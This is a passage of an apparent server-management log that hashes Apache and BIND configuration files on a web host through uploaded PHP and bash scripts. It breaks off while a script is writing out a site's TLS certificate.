    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= cacfbf8718a1e8092d40e0522c355800
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 4dd430c852cb312a2a0de5c9b5439c91
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= af5483a80eb95f0483b52cc474fc3b1d
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= a64e07eff4b031bd3bda384f8bb50dc8
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 4f687838cb93eb85f6c2335f764d02fc
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a727746bd36ccdb032c4d9e25a4423b
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 7305f50b93f8ff30ac5a1c90430ac35c
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 891c32524516668ef2093790f319b0b5
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 140ce8b1698a959dd31d7da56c0e3616
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 1884a8f36c31ee2fe34d68fda8e1ef12
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= ca7678f2a07f10efe5476971a42ea280
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= 2ed21345e273eb18be8f198117b96edb
MD5(/etc/apache2/sites-available/pjy_hub_us.conf)= 1da89be4ec679586fdc2b55e659792a5
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= ad029145e2cd857e56527eec590ecd9d
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2/sites-available/pjy_hub_us.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf




STDERR:
/tmp/pkp883167:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-31 11:30:57: Establishing a connection
2026-03-31 11:30:57: 

PUT: /tmp/pkp708308

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:30:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp708308; rm /tmp/pkp708308'

2026-03-31 11:30:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:31:07: Establishing a connection
2026-03-31 11:31:07: 

PUT: /tmp/pkp320317

#!/bin/bash
temp_file=$(mktemp)
TARGET=e77f816ba21b8a1d43519b726e5105e3.crt

cat > $temp_file <<'endmsg'
e7:7f:81:6b:a2:1b:8a:1d:43:51:9b:72:6e:51:05:e3

-----BEGIN CERTIFICATE-----
MIIDTzCCAjegAwIBAgIUWmdsfpCUSLXTylREVCZlp0oMq+0wDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDMzMTExMzEwNloXDTI3MDMzMTExMzEwNlow
FTETMBEGA1UEAwwKaHViLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAOKtZoLCfKJd1rRCX0e60iow73zd9591zG0gTWej+EXyjOWMMBFH1OC7
btILbRtshgy3Ea0MQaiGigcXaKGLgAXmX2EPHyj9MqKq7IOjcyPUoH1a8XKFf64i
0KQMk7BITwQHs88BWNaCyq2MJB6qhc9y8GC0pdl8BEkZlpp2uaa2B41k/p187H4r
45G4g2Dv49JGN8091p6YZIS8nOpXvmZbqocNg8n4mGiRES4l8ggeWBs6Am+XL/7l
oMVgj+3D0xbRsAveh1aulrm4RolTl1GvaFL6w6tDQAvjxak9Q5rErNJLtQ1dri+8
uYQvhczeMaYgJ90hxWtcvoyFzszSGmECAwEAAaNxMG8wHQYDVR0OBBYEFOUt7Mv8
B6nz1+g4Vu/jIbHEG7MUMB8GA1UdIwQYMBaAFIWbbgz9zSS14fXQpAM4gldLMHP8
